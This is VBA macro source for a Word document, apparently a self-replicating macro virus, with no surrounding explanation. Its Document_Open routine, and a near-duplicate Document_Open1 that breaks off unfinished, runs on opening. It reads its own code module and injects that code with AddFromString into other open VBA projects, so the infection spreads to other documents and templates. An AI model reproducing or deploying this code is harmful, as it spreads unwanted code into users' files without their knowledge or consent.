Private Sub Document_Open() Dim MACROTEXT As String 'Dim AA As VBComponent For I = 1 To VBE.VBProjects.Count On Error GoTo 11 P = VBE.VBProjects(I).FileName B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1) A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name
R = InStrRev(P, "") S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0) Set AA = VBE.VBProjects(I).VBComponents(1) LOCALLINES = AA.CodeModule.CountOfLines MACROTEXT = AA.CodeModule.Lines(1, AA.CodeModule.CountOfLines) Exit For
11: Err.Clear Next I
For I = 1 To VBE.VBProjects.Count B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1) A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name On Error GoTo 12 P = VBE.VBProjects(I).Name R = InStrRev(P, "") S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0) C = Mid(P, R + 1, Len(P) - R - S) 12: If B <> C And LOCALLINES > VBE.VBProjects(I).VBComponents(1).CodeModule.CountOfLines Then Err.Clear Set AA = VBE.VBProjects(I).VBComponents(1) AA.CodeModule.AddFromString (MACROTEXT)
End If Next I
End Sub
Private Sub Document_Open1() Dim MACROTEXT As String 'Dim AA As VBComponent For I = 1 To VBE.VBProjects.Count On Error GoTo 11 P = VBE.VBProjects(I).FileName B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1) A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name
R = InStrRev(P, "") S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0) C = Mid(P, R + 1, Len(P) - R - S) If B = C Then Set AA = VBE.VBProjects(I).VBComponents(1) LOCALLINES = AA.CodeModule.CountOfLines MACROTEXT = AA.CodeModule.Lines(1, AA.CodeModule.CountOfLines) Exit For End If
11: Err.Clear Next I
For I = 1 To VBE.VBProjects.Count B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1) A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name On Error GoTo 12 P = VBE.VBProjects(I).Name R = InStrRev(P, "") S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0) C = Mid(P, R + 1, Len(P) - R - S) 12: If B <> C And LOCALLINES > VBE.VBProjects(I).VBComponents(1).CodeModule.CountOfLines Then Err.Clear Set AA = VBE.VBProjects(I).VBComponents(1) AA.CodeModule.AddFromString (MACROTEXT)
